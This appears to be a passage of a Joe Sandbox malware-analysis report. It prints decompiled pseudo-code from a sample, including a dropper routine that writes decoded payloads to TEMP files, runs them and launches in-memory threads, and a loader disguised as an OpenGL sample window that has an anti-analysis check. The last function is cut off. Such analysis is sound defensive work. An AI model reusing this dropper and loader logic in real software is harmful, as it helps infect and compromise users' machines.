Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Heap$AdaptersAllocateInfoProcess
String ID:
API String ID: 1318000056-0
Opcode ID: 73ff96f27f52de9840d8f092c1af349ff5175d9842f98ddb7f52f1a4bac05a00
Instruction ID: 97f005e152f21f2c2f7fd10924b0caa403664ba6d1ad8a9a516f1bf18f754b30
Opcode Fuzzy Hash: 73ff96f27f52de9840d8f092c1af349ff5175d9842f98ddb7f52f1a4bac05a00
Instruction Fuzzy Hash: B931FBB5E00209EFEB04CF98C494AEEB7B5EF48308F10C169E909A7390D735AA45CF51

Uniqueness

Uniqueness Score: -1.00%

Function 040062B0 Relevance: 56.7, APIs: 29, Strings: 3, Instructions: 657
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E040062B0(intOrPtr* _a4, intOrPtr _a8) {
				long _v8;
				intOrPtr _v12;
				signed int _v13;
				void* _v20;
				int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void _v36;
				void* _v40;
				long _v44;
				signed int _v48;
				void* _v52;
				long _v56;
				void _v60;
				char _v324;
				void* _v328;
				char _v340;
				char _v604;
				int _v608;
				long _v612;
				signed int _v616;
				void* _v620;
				void* _v624;
				void* _v628;
				int _v632;
				signed int _v636;
				long _v640;
				void* _v644;
				void* _v648;
				void* _v652;
				char _v916;
				void* _v920;
				char _v932;
				char _v1196;
				long _v1200;
				int _v1204;
				long _v1208;
				void* _v1212;
				long _v1216;
				signed int _v1220;
				void* _v1224;
				void* _v1228;
				intOrPtr _t317;
				signed char _t321;
				void* _t333;
				signed int _t340;
				void* _t349;
				signed int _t355;
				void* _t361;
				void* _t368;
				void* _t378;
				void* _t381;
				signed int _t383;
				void* _t386;
				void* _t393;
				int _t415;
				signed int _t421;
				signed int _t428;
				signed char _t433;
				void* _t439;
				signed char _t442;
				void* _t448;
				signed int _t452;
				intOrPtr _t455;
				void* _t465;
				void* _t472;
				void* _t473;
				void* _t508;
				void* _t509;
				void* _t528;
				void* _t529;
				void* _t539;
				void* _t549;
				void* _t550;
				void* _t551;
				void* _t563;
				void* _t598;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L99:
					return _v8;
				} else {
					_v12 =  *_a4;
					if(_v12 > 0 && _v12 < 0x400) {
						_v20 = _a4 + 4;
						_v24 = 0;
						while(_v24 < _v12) {
							if(_v24 <= 0) {
								L10:
								_v28 = _v20 + 0x18;
								_v32 =  *_v20 - 0x18;
								__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e270; // 0x1
								if(__eflags != 0) {
									L22:
									_t428 = _v24 + 1;
									__eflags = _t428;
									_v24 = _t428;
									continue;
								}
								__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0x400e284; // 0x1
								if(__eflags != 0) {
									goto L22;
								}
								_t508 = _v20;
								__eflags =  *(_t508 + 0xc) & 0x00000002;
								if(( *(_t508 + 0xc) & 0x00000002) == 0) {
									goto L22;
								}
								__eflags =  *0x401435d & 0x000000ff;
								if(( *0x401435d & 0x000000ff) == 0) {
									goto L22;
								}
								_t509 = _v20;
								__eflags =  *(_t509 + 0xc) & 0x00000010;
								if(( *(_t509 + 0xc) & 0x00000010) == 0) {
									_t433 = E04001EE0(_v28, 0xea60);
									_t598 = _t598 + 8;
									_v8 = _t433 & 0x000000ff;
									L21:
									break;
								}
								_v44 =  *((intOrPtr*)(_v28 + _v32 - 4));
								_v40 = VirtualAlloc(0, _v44, 0x3000, 4);
								__eflags = _v40;
								if(_v40 == 0) {
									L19:
									goto L21;
								}
								_t439 = E04006260(_v40, _v28, _v32, _v40, _v44);
								__eflags = _t439 - _v44;
								if(_t439 == _v44) {
									_t442 = E04001EE0(_v40, 0xea60);
									_t598 = _t598 + 8;
									_v8 = _t442 & 0x000000ff;
								}
								VirtualFree(_v40, 0, 0x8000);
								goto L19;
							} else {
								_v36 =  *_v20;
								_v20 = _v20 + _v36;
								if(_v20 <= _a4 + _a8) {
									goto L10;
								} else {
									return 0;
								}
							}
						}
						_v13 = 0;
						_v20 = _a4 + 4;
						_v48 = 0;
						while(1) {
							__eflags = _v48 - _v12;
							if(_v48 >= _v12) {
								break;
							}
							__eflags = _v48;
							if(_v48 <= 0) {
								L29:
								_v52 = _v20 + 0x18;
								_v56 =  *_v20 - 0x18;
								__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e274; // 0x2
								if(__eflags != 0) {
									L39:
									_t448 = _v20;
									__eflags =  *(_t448 + 0xc) & 0x00000002;
									if(( *(_t448 + 0xc) & 0x00000002) == 0) {
										__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e270; // 0x1
										if(__eflags != 0) {
											L90:
											__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e278; // 0x3
											if(__eflags != 0) {
												L93:
												__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e27c; // 0x4
												if(__eflags == 0) {
													_v13 = 1;
												}
												L95:
												L24:
												_t452 = _v48 + 1;
												__eflags = _t452;
												_v48 = _t452;
												continue;
											}
											__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0x400e288; // 0x2
											if(__eflags != 0) {
												goto L93;
											}
											_t317 =  *0x400e28c; // 0x4013f88
											_t455 =  *0x40118a0; // 0x4013b88
											E0400A360(_t455, _t317, _v52, _v56);
											_t598 = _t598 + 0x10;
											goto L95;
										}
										__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0x400e284; // 0x1
										if(__eflags != 0) {
											goto L90;
										}
										_t321 = E04007250(_v20, _v52, _v56);
										_t598 = _t598 + 0xc;
										__eflags = _t321 & 0x000000ff;
										if((_t321 & 0x000000ff) != 0) {
											_t528 = _v20;
											__eflags =  *(_t528 + 0x14);
											if( *(_t528 + 0x14) == 0) {
												L48:
												_t529 = _v20;
												__eflags =  *(_t529 + 0xc) & 0x00000001;
												if(( *(_t529 + 0xc) & 0x00000001) == 0) {
													GetEnvironmentVariableA("TEMP",  &_v1196, 0x104);
													E04007D20( &_v932,  &_v932, 0, 0xa);
													E04009730( &_v932, 4);
													_t598 = _t598 + 0x14;
													GetTempFileNameA( &_v1196,  &_v932, GetTickCount() % 0xffff,  &_v916);
													_v920 = CreateFileA( &_v916, 0x40000000, 1, 0, 2, 0, 0);
													__eflags = _v920 - 0xffffffff;
													if(_v920 == 0xffffffff) {
														L89:
														goto L24;
													}
													_v1200 = 0;
													_v1204 = 0;
													_v1208 = _v56;
													_t333 = _v20;
													__eflags =  *(_t333 + 0xc) & 0x00000010;
													if(( *(_t333 + 0xc) & 0x00000010) == 0) {
														_v1204 = WriteFile(_v920, _v52, _v56,  &_v1200, 0);
													} else {
														_v1216 =  *((intOrPtr*)(_v52 + _v56 - 4));
														_v1212 = VirtualAlloc(0, _v1216, 0x3000, 4);
														__eflags = _v1212;
														if(_v1212 != 0) {
															_t349 = E04006260(_v56, _v52, _v56, _v1212, _v1216);
															__eflags = _t349 - _v1216;
															if(_t349 == _v1216) {
																_v1204 = WriteFile(_v920, _v1212, _v1216,  &_v1200, 0);
																_v1208 = _v1216;
															}
															VirtualFree(_v1212, 0, 0x8000);
														}
													}
													__eflags = _v1204;
													if(_v1204 == 0) {
														L88:
														CloseHandle(_v920);
													} else {
														__eflags = _v1200 - _v1208;
														if(_v1200 != _v1208) {
															goto L88;
														}
														CloseHandle(_v920);
														_t340 = E04001E60( &_v916);
														_t598 = _t598 + 4;
														_v1220 = _t340;
														__eflags = _v1220;
														if(_v1220 != 0) {
															_t465 = _v20;
															__eflags =  *(_t465 + 0x10);
															if( *(_t465 + 0x10) != 0) {
																E040073C0(_v20, _v52, _v56);
																_t598 = _t598 + 0xc;
															}
															_t539 = _v20;
															__eflags =  *(_t539 + 0xc) & 0x00000004;
															if(( *(_t539 + 0xc) & 0x00000004) != 0) {
																E04002510(_v1220, 0x400e290);
																_t598 = _t598 + 8;
															}
															_v8 = 1;
														}
													}
													goto L89;
												}
												_v636 = 0;
												_v632 = 0;
												_v640 = 0;
												_t472 = _v20;
												__eflags =  *(_t472 + 0xc) & 0x00000010;
												if(( *(_t472 + 0xc) & 0x00000010) == 0) {
													_t355 = E04002070(_v52);
													_t598 = _t598 + 4;
													_v636 = _t355;
												} else {
													_v640 =  *((intOrPtr*)(_v52 + _v56 - 4));
													_t378 = VirtualAlloc(0, _v640, 0x3000, 4); // executed
													_v644 = _t378;
													__eflags = _v644;
													if(_v644 != 0) {
														_t381 = E04006260(_v644, _v52, _v56, _v644, _v640);
														__eflags = _t381 - _v640;
														if(_t381 == _v640) {
															_t383 = E04002070(_v644); // executed
															_t598 = _t598 + 4;
															_v636 = _t383;
															_t563 = _v20;
															__eflags =  *(_t563 + 0xc) & 0x00000008;
															if(( *(_t563 + 0xc) & 0x00000008) != 0) {
																_t386 = VirtualAlloc(0, _v640, 0x3000, 4); // executed
																_v632 = _t386;
																E04007B70(_v632, _v644, _v640);
																_t598 = _t598 + 0xc;
															}
														}
														VirtualFree(_v644, 0, 0x8000); // executed
													}
												}
												__eflags = _v636;
												if(_v636 != 0) {
													_t473 = _v20;
													__eflags =  *(_t473 + 0x10);
													if( *(_t473 + 0x10) != 0) {
														E040073C0(_v20, _v52, _v56);
														_t598 = _t598 + 0xc;
													}
													_t549 = _v20;
													__eflags =  *(_t549 + 0xc) & 0x00000008;
													if(( *(_t549 + 0xc) & 0x00000008) != 0) {
														_t361 = E040097A0(0x10);
														_t598 = _t598 + 4;
														_v1228 = _t361;
														_v648 = _v1228;
														_t551 = _v20;
														__eflags =  *(_t551 + 0xc) & 0x00000010;
														if(( *(_t551 + 0xc) & 0x00000010) == 0) {
															 *_v648 = VirtualAlloc(0, _v56, 0x3000, 4);
															__eflags =  *_v648;
															if( *_v648 != 0) {
																E04007B70( *_v648, _v52, _v56);
																_t598 = _t598 + 0xc;
																 *(_v648 + 4) = _v56;
															}
														} else {
															 *_v648 = _v632;
															 *(_v648 + 4) = _v640;
														}
														__eflags =  *_v648;
														if( *_v648 != 0) {
															 *((intOrPtr*)(_v648 + 8)) =  *((intOrPtr*)(_v20 + 0xc));
															 *((intOrPtr*)(_v648 + 0xc)) = _v636;
															_t368 = CreateThread(0, 0, E040077B0, _v648, 0, 0); // executed
															_v652 = _t368;
															CloseHandle(_v652);
														}
													}
													_t550 = _v20;
													__eflags =  *(_t550 + 0xc) & 0x00000004;
													if(( *(_t550 + 0xc) & 0x00000004) != 0) {
														E04002510(_v636, 0x400e290);
														_t598 = _t598 + 8;
													}
													_v8 = 1;
												}
												goto L24;
											}
											_v620 = VirtualAlloc(0, _v56, 0x3000, 4);
											__eflags = _v620;
											if(_v620 == 0) {
												goto L48;
											}
											E04007B70(_v620, _v52, _v56);
											_t393 = E040097A0(0x20);
											_t598 = _t598 + 0x10;
											_v1224 = _t393;
											_v624 = _v1224;
											 *_v624 =  *_v20;
											 *((intOrPtr*)(_v624 + 4)) =  *((intOrPtr*)(_v20 + 4));
											 *((intOrPtr*)(_v624 + 8)) =  *((intOrPtr*)(_v20 + 8));
											 *((intOrPtr*)(_v624 + 0x14)) =  *((intOrPtr*)(_v20 + 0x14));
											 *((intOrPtr*)(_v624 + 0x1c)) = _v56;
											 *((intOrPtr*)(_v624 + 0xc)) =  *((intOrPtr*)(_v20 + 0xc));
											 *((intOrPtr*)(_v624 + 0x10)) =  *((intOrPtr*)(_v20 + 0x10));
											 *(_v624 + 0x18) = _v620;
											_v628 = CreateThread(0, 0, E04006DA0, _v624, 0, 0);
											CloseHandle(_v628);
											goto L24;
										}
										goto L24;
									}
									goto L24;
								}
								__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0x400e284; // 0x1
								if(__eflags != 0) {
									goto L39;
								}
								GetEnvironmentVariableA("TEMP",  &_v604, 0x104);
								E04007D20( &_v340,  &_v340, 0, 0xa);
								E04009730( &_v340, 4);
								_t598 = _t598 + 0x14;
								GetTempFileNameA( &_v604,  &_v340, GetTickCount() % 0xffff,  &_v324);
								_v328 = CreateFileA( &_v324, 0x40000000, 1, 0, 2, 0x80, 0);
								__eflags = _v328 - 0xffffffff;
								if(_v328 == 0xffffffff) {
									goto L39;
								}
								_v608 = 0;
								_v612 = 0;
								_t415 = WriteFile(_v328, _v52, _v56,  &_v612, 0);
								__eflags = _t415;
								if(_t415 == 0) {
									L37:
									__eflags = _v608;
									if(_v608 == 0) {
										CloseHandle(_v328);
									}
									goto L39;
								}
								__eflags = _v612 - _v56;
								if(_v612 != _v56) {
									goto L37;
								}
								_v608 = CloseHandle(_v328);
								E04006C60();
								_t421 = E04001E60( &_v324);
								_t598 = _t598 + 4;
								_v616 = _t421;
								__eflags = _v616;
								if(_v616 == 0) {
									E04006CF0();
									goto L37;
								}
								E040074A0();
								ExitProcess(0);
							}
							_v60 =  *_v20;
							_v20 = _v20 + _v60;
							__eflags = _v20 - _a4 + _a8;
							if(_v20 <= _a4 + _a8) {
								goto L29;
							}
							return 0;
						}
						__eflags = (_v13 & 0x000000ff) - 1;
						if((_v13 & 0x000000ff) != 1) {
							 *0x40130e4 = 1;
						} else {
							 *0x40130e4 = 2;
						}
					}
					goto L99;
				}
			}

0x040062b9
0x040062c4
0x04006c4e
0x00000000
0x040062d4
0x040062d9
0x040062e0
0x040062f9
0x040062fc
0x0400630e
0x0400631e
0x04006343
0x04006349
0x04006354
0x0400635d
0x04006363
0x04006429
0x04006308
0x04006308
0x0400630b
0x00000000
0x0400630b
0x0400636f
0x04006375
0x00000000
0x00000000
0x0400637b
0x04006381
0x04006384
0x00000000
0x00000000
0x04006391
0x04006393
0x00000000
0x00000000
0x04006399
0x0400639f
0x040063a2
0x04006419
0x0400641e
0x04006424
0x04006427
0x00000000
0x04006427
0x040063ad
0x040063c3
0x040063c6
0x040063ca
0x0400640e
0x00000000
0x0400640e
0x040063dc
0x040063e1
0x040063e4
0x040063ef
0x040063f4
0x040063fa
0x040063fa
0x04006408
0x00000000
0x04006320
0x04006325
0x0400632e
0x0400633a
0x00000000
0x0400633c
0x00000000
0x0400633c
0x0400633a
0x0400631e
0x0400642e
0x04006438
0x0400643b
0x0400644d
0x04006450
0x04006453
0x00000000
0x00000000
0x04006459
0x0400645d
0x04006482
0x04006488
0x04006493
0x0400649c
0x040064a2
0x040065f3
0x040065f3
0x040065f9
0x040065fc
0x04006609
0x0400660f
0x04006bdd
0x04006be3
0x04006be9
0x04006c18
0x04006c1e
0x04006c24
0x04006c26
0x04006c26
0x04006c2a
0x04006444
0x04006447
0x04006447
0x0400644a
0x00000000
0x0400644a
0x04006bf1
0x04006bf7
0x00000000
0x00000000
0x04006c01
0x04006c07
0x04006c0e
0x04006c13
0x00000000
0x04006c13
0x0400661b
0x04006621
0x00000000
0x00000000
0x04006633
0x04006638
0x0400663e
0x04006640
0x04006647
0x0400664a
0x0400664e
0x04006752
0x04006752
0x04006758
0x0400675b
0x040069cb
0x040069dc
0x040069ed
0x040069f2
0x04006a1a
0x04006a3c
0x04006a42
0x04006a49
0x04006bd6
0x00000000
0x04006bd6
0x04006a4f
0x04006a59
0x04006a66
0x04006a6c
0x04006a72
0x04006a75
0x04006b3c
0x04006a7b
0x04006a84
0x04006aa0
0x04006aa6
0x04006aad
0x04006ac5
0x04006aca
0x04006ad0
0x04006af6
0x04006b02
0x04006b02
0x04006b16
0x04006b16
0x04006b1c
0x04006b42
0x04006b49
0x04006bc9
0x04006bd0
0x04006b4b
0x04006b51
0x04006b57
0x00000000
0x00000000
0x04006b60
0x04006b6d
0x04006b72
0x04006b75
0x04006b7b
0x04006b82
0x04006b84
0x04006b87
0x04006b8b
0x04006b99
0x04006b9e
0x04006b9e
0x04006ba1
0x04006ba7
0x04006baa
0x04006bb8
0x04006bbd
0x04006bbd
0x04006bc0
0x04006bc0
0x04006bc7
0x00000000
0x04006b49
0x04006761
0x0400676b
0x04006775
0x0400677f
0x04006785
0x04006788
0x0400685c
0x04006861
0x04006864
0x0400678e
0x04006797
0x040067ad
0x040067b3
0x040067b9
0x040067c0
0x040067dc
0x040067e1
0x040067e7
0x040067f0
0x040067f5
0x040067f8
0x040067fe
0x04006804
0x04006807
0x04006819
0x0400681f
0x0400683a
0x0400683f
0x0400683f
0x04006807
0x04006850
0x04006850
0x04006856
0x0400686a
0x04006871
0x04006877
0x0400687a
0x0400687e
0x0400688c
0x04006891
0x04006891
0x04006894
0x0400689a
0x0400689d
0x040068a5
0x040068aa
0x040068ad
0x040068b9
0x040068bf
0x040068c5
0x040068c8
0x04006902
0x0400690a
0x0400690d
0x04006920
0x04006925
0x04006931
0x04006931
0x040068ca
0x040068d6
0x040068e4
0x040068e4
0x0400693a
0x0400693d
0x0400694b
0x0400695a
0x04006971
0x04006977
0x04006984
0x04006984
0x0400693d
0x0400698a
0x04006990
0x04006993
0x040069a1
0x040069a6
0x040069a6
0x040069a9
0x040069a9
0x00000000
0x040069b0
0x04006667
0x0400666d
0x04006674
0x00000000
0x00000000
0x04006689
0x04006693
0x04006698
0x0400669b
0x040066a7
0x040066b8
0x040066c6
0x040066d5
0x040066e4
0x040066f0
0x040066ff
0x0400670e
0x0400671d
0x0400673a
0x04006747
0x00000000
0x04006747
0x00000000
0x04006642
0x00000000
0x040065fe
0x040064ae
0x040064b4
0x00000000
0x00000000
0x040064cb
0x040064dc
0x040064ed
0x040064f2
0x0400651a
0x0400653f
0x04006545
0x0400654c
0x00000000
0x00000000
0x04006552
0x0400655c
0x0400657e
0x04006584
0x04006586
0x040065dd
0x040065dd
0x040065e4
0x040065ed
0x040065ed
0x00000000
0x040065e4
0x0400658e
0x04006591
0x00000000
0x00000000
0x040065a0
0x040065a6
0x040065b2
0x040065b7
0x040065ba
0x040065c0
0x040065c7
0x040065d8
0x00000000
0x040065d8
0x040065c9
0x040065d0
0x040065d0
0x04006464
0x0400646d
0x04006476
0x04006479
0x00000000
0x00000000
0x00000000
0x0400647b
0x04006c33
0x04006c36
0x04006c44
0x04006c38
0x04006c38
0x04006c38
0x04006c36
0x00000000
0x040062e0

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 040063BD
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00000000,?), ref: 04006408

Strings

TEMP, xrefs: 040069C6
Kobucgekyxca, xrefs: 04006C06
TEMP, xrefs: 040064C6

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Virtual$AllocFree
String ID: Kobucgekyxca$TEMP$TEMP
API String ID: 2087232378-2361037019
Opcode ID: 36a74629caef2e12234a485460b867fdbdc2bfda1a936d4e7568c691b9f69a1a
Instruction ID: 78f313c43f0008814aaec3ee7e7f4a65c37c9c75159239be5687e4ed3a221f5b
Opcode Fuzzy Hash: 36a74629caef2e12234a485460b867fdbdc2bfda1a936d4e7568c691b9f69a1a
Instruction Fuzzy Hash: 70522BB5A042199FEB54DF94DC88FAEB7B6FB48304F148598E509BB280D775AE80CF50

Uniqueness

Uniqueness Score: -1.00%

Function 004015A6 Relevance: 52.7, APIs: 26, Strings: 4, Instructions: 243
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 43%

			E004015A6(struct HINSTANCE__* _a4) {
				void* _v12;
				int _v16;
				int _v20;
				struct HWND__* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				int _v36;
				int _v40;
				int _v44;
				intOrPtr _v64;
				long _v68;
				char _v72;
				int _v76;
				int _v80;
				struct _WNDCLASSA _v120;
				void* _v132;
				void* _v136;
				void* _v140;
				void* _v144;
				void* _v148;
				void* _v152;
				void* _v156;
				void* _v160;
				int _v164;
				int _v168;
				int _v172;
				int _v176;
				intOrPtr _v188;
				int _v192;
				int _v196;
				int _v212;
				int _v216;
				intOrPtr _v228;
				int _v232;
				intOrPtr _v236;
				intOrPtr _v248;
				char _v252;
				int _v256;
				intOrPtr _v268;
				struct HWND__* _t107;
				long _t128;
				signed int _t131;
				void* _t174;
				void* _t181;
				struct HWND__** _t183;
				int* _t185;
				intOrPtr* _t187;
				int* _t189;
				int* _t191;
				intOrPtr* _t192;
				intOrPtr* _t193;
				int* _t194;
				intOrPtr* _t197;

				_v16 = 0;
				_v20 = 0;
				_v120.style = 0x20;
				_v120.lpfnWndProc = E004019EF;
				_v120.cbClsExtra = 0;
				_v120.cbWndExtra = 0;
				_v120.hInstance = _a4;
				_v120.hIcon = LoadIconA(0, 0x7f00);
				_v120.hCursor = LoadCursorA(0, 0x7f00);
				_v120.hbrBackground = GetStockObject(4);
				_v120.lpszMenuName = 0;
				_v120.lpszClassName = "GLSample";
				RegisterClassA( &_v120);
				ShowWindow(_v24, 0); // executed
				_t107 = CreateWindowExA(0, "GLSample", "OpenGL Sample", 0x80c80000, 0, 0, 0x100, 0x100, 0, 0, _a4, 0); // executed
				_t181 = _t174 - 0x50;
				_v24 = _t107;
				_v28 = 0xa93;
				_v32 = 0x63c;
				_v76 = 0;
				_v80 = 0;
				if((E0040140E(_t107) & 0xffffff00 | _t108 != 0x00000000) != 0) {
					ExitProcess(0xffffa883);
				}
				 *0x403000 = 0;
				 *0x403004 = 0;
				 *0x403008 = 0;
				 *0x403010 = 0;
				 *0x40300c = 0;
				 *0x403014 = 0;
				 *0x405020 = 0x270034da;
				E00401479(_v28,  &_v80); // executed
				E00401479(_v32,  &_v76); // executed
				memset(0x405008, 0, 0x18 << 0);
				 *0x405008 = 0;
				 *0x40500c = 1;
				 *0x405010 = _v76;
				_v176 = 0x405008;
				 *_v80();
				_t183 = _t181 + 0xc - 4;
				_v36 = 0;
				_v176 = 0x47754b17;
				 *_t183 =  *0x405018;
				_v36 = E00401362();
				 *_v36();
				_v172 =  &_v44;
				_v176 =  &_v40;
				 *_t183 = _v24;
				_t128 = E00401A87();
				L8:
				if((_t128 & 0xffffff00 | _v16 == 0x00000000) != 0) {
					_v164 = 1;
					_v168 = 0;
					_v172 = 0;
					_v176 = 0;
					 *_t183 =  &_v72;
					_t131 = PeekMessageA(??, ??, ??, ??, ??);
					_t183 = _t183 - 0x14;
					if((_t131 & 0xffffff00 | _t131 != 0x00000000) == 0) {
						_v168 = 0;
						_v172 = 0;
						_v176 = 0;
						 *_t183 = 0;
						L00401B8C();
						_v196 = 0x4000;
						L00401B94();
						_t185 = _t183 - 0xc;
						L00401B9C();
						_v188 = 0x3f800000;
						_v192 = 0;
						_v196 = 0;
						 *_t185 = _v20;
						L00401BA4();
						_v216 = 4;
						L00401BAC();
						_t187 = _t185 - 0xc;
						_v212 = 0;
						_v216 = 0;
						 *_t187 = 0x3f800000;
						L00401BB4();
						_v228 = 0x3f800000;
						_v232 = 0;
						L00401BBC();
						_t189 = _t187 - 4;
						_v232 = 0;
						_v236 = 0x3f800000;
						 *_t189 = 0;
						L00401BB4();
						_v248 = 0xbf000000;
						_v252 = 0x3f5eb852;
						L00401BBC();
						_t191 = _t189 - 4;
						_v252 = 0x3f800000;
						_v256 = 0;
						 *_t191 = 0;
						L00401BB4();
						_t192 = _t191 - 0xc;
						_v268 = 0xbf000000;
						 *_t192 = 0xbf5eb852;
						L00401BBC();
						_t193 = _t192 - 8;
						L00401BC4();
						L00401BCC();
						 *_t193 = _v40;
						_t128 = SwapBuffers(??);
						_t194 = _t193 - 4;
						asm("fld1");
						asm("faddp st1, st0");
						 *_t194 = 1;
						Sleep(??);
						_t183 = _t194 - 4;
					} else {
						_t128 = _v68;
						if(_t128 != 0x12) {
							 *_t183 =  &_v72;
							TranslateMessage(??);
							_t197 = _t183 - 4;
							 *_t197 =  &_v72;
							_t128 = DispatchMessageA(??);
							_t183 = _t197 - 4;
						} else {
							_v16 = 1;
						}
					}
					goto L8;
				}
				_v172 = _v44;
				_v176 = _v40;
				 *_t183 = _v24;
				E00401B48();
				 *_t183 = _v24;
				DestroyWindow(??);
				return _v64;
			}

0x004015b1
0x004015bd
0x004015c0
0x004015c7
0x004015ce
0x004015d5
0x004015df
0x004015f9
0x00401613
0x00401625
0x00401628
0x0040162f
0x0040163c
0x00401652
0x004016b8
0x004016bd
0x004016c0
0x004016c3
0x004016ca
0x004016d1
0x004016d8
0x004016eb
0x004016f4
0x004016f4
0x004016f9
0x00401703
0x0040170d
0x00401717
0x00401721
0x0040172b
0x00401735
0x0040174c
0x0040175e
0x00401773
0x00401775
0x0040177f
0x0040178c
0x00401794
0x0040179b
0x0040179d
0x004017a0
0x004017b2
0x004017ba
0x004017c2
0x004017c8
0x004017cd
0x004017d4
0x004017db
0x004017de
0x004019ad
0x004019b6
0x004017e8
0x004017f0
0x004017f8
0x00401800
0x0040180b
0x0040180e
0x00401813
0x0040181d
0x00401859
0x00401862
0x0040186b
0x00401874
0x00401877
0x0040187f
0x00401886
0x0040188b
0x0040188e
0x00401898
0x004018a1
0x004018aa
0x004018b1
0x004018b4
0x004018bc
0x004018c3
0x004018c8
0x004018d0
0x004018d9
0x004018e2
0x004018e5
0x004018f2
0x004018fb
0x004018fe
0x00401903
0x0040190b
0x00401914
0x0040191d
0x00401920
0x0040192d
0x00401936
0x00401939
0x0040193e
0x00401946
0x0040194f
0x00401958
0x0040195b
0x00401960
0x00401968
0x00401971
0x00401974
0x00401979
0x0040197c
0x00401981
0x00401989
0x0040198c
0x00401991
0x00401997
0x00401999
0x0040199e
0x004019a5
0x004019aa
0x0040181f
0x0040181f
0x00401825
0x00401836
0x00401839
0x0040183e
0x00401844
0x00401847
0x0040184c
0x00401827
0x00401827
0x00401827
0x00401825
0x00000000
0x0040181d
0x004019c2
0x004019c6
0x004019cd
0x004019d0
0x004019d8
0x004019db
0x004019ec

APIs

LoadIconA.USER32 ref: 004015F1
LoadCursorA.USER32 ref: 0040160B
GetStockObject.GDI32 ref: 0040161D
RegisterClassA.USER32 ref: 0040163C
ShowWindow.USER32 ref: 00401652
CreateWindowExA.USER32 ref: 004016B8

Part of subcall function 0040140E: ZwOpenSymbolicLinkObject.NTDLL ref: 0040142B

ExitProcess.KERNEL32 ref: 004016F4
PeekMessageA.USER32 ref: 0040180E
TranslateMessage.USER32 ref: 00401839
DispatchMessageA.USER32 ref: 00401847
glClearColor.OPENGL32 ref: 00401877
glClear.OPENGL32 ref: 00401886
glPushMatrix.OPENGL32 ref: 0040188E
glRotatef.OPENGL32 ref: 004018B4
glBegin.OPENGL32 ref: 004018C3
glColor3f.OPENGL32 ref: 004018E5
glVertex2f.OPENGL32 ref: 004018FE
glColor3f.OPENGL32 ref: 00401920
glVertex2f.OPENGL32 ref: 00401939
glColor3f.OPENGL32 ref: 0040195B
glVertex2f.OPENGL32 ref: 00401974
glEnd.OPENGL32 ref: 0040197C
glPopMatrix.OPENGL32 ref: 00401981
SwapBuffers.GDI32 ref: 0040198C
Sleep.KERNEL32 ref: 004019A5
DestroyWindow.USER32 ref: 004019DB

Strings

, xrefs: 004015C0
n@@, xrefs: 004016A9
n@@, xrefs: 0040162F
w@@, xrefs: 004016A1

Memory Dump Source

Source File: 00000000.00000002.558886062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.558685401.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.558979025.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559069325.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559239825.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559886186.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iJzpyjAehB.jbxd

Similarity

API ID: Color3fMessageVertex2fWindow$ClearLoadMatrixObject$BeginBuffersClassColorCreateCursorDestroyDispatchExitIconLinkOpenPeekProcessPushRegisterRotatefShowSleepStockSwapSymbolicTranslate
String ID: $n@@$n@@$w@@
API String ID: 3509731714-3974239601
Opcode ID: 31a8f6508b6a69f61902bea075c8000fa891c0c2f27cafeab63b9a8dec4b5150
Instruction ID: 3f63ee1ad5c8460eb48b3716f0d43e342052f4db54b8eddb3283573a26ff4ac5
Opcode Fuzzy Hash: 31a8f6508b6a69f61902bea075c8000fa891c0c2f27cafeab63b9a8dec4b5150
Instruction Fuzzy Hash: 9DB1B6B09043059BDB00FFA9C55939EBFF0AB44308F50893EE484AB395E7799949CF96

Uniqueness

Uniqueness Score: -1.00%

Function 04004020 Relevance: 30.2, APIs: 20, Instructions: 215
threadsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E04004020(intOrPtr _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, char _a24) {
				signed int _v5;
				signed int _v12;
				char _v16;
				void* _v20;
				struct _CRITICAL_SECTION _v44;
				long _v48;
				void* _v52;
				void _v56;
				long _v60;
				HANDLE* _v64;
				void* _v68;
				intOrPtr _v72;
				void* _v76;
				intOrPtr _v80;
				signed int _v84;
				void _v92;
				long _v96;
				signed int _v100;
				HANDLE* _v104;
				HANDLE* _v108;
				void* _t114;
				void* _t141;
				void* _t188;
				void* _t189;
				void* _t191;

				_v5 = 0;
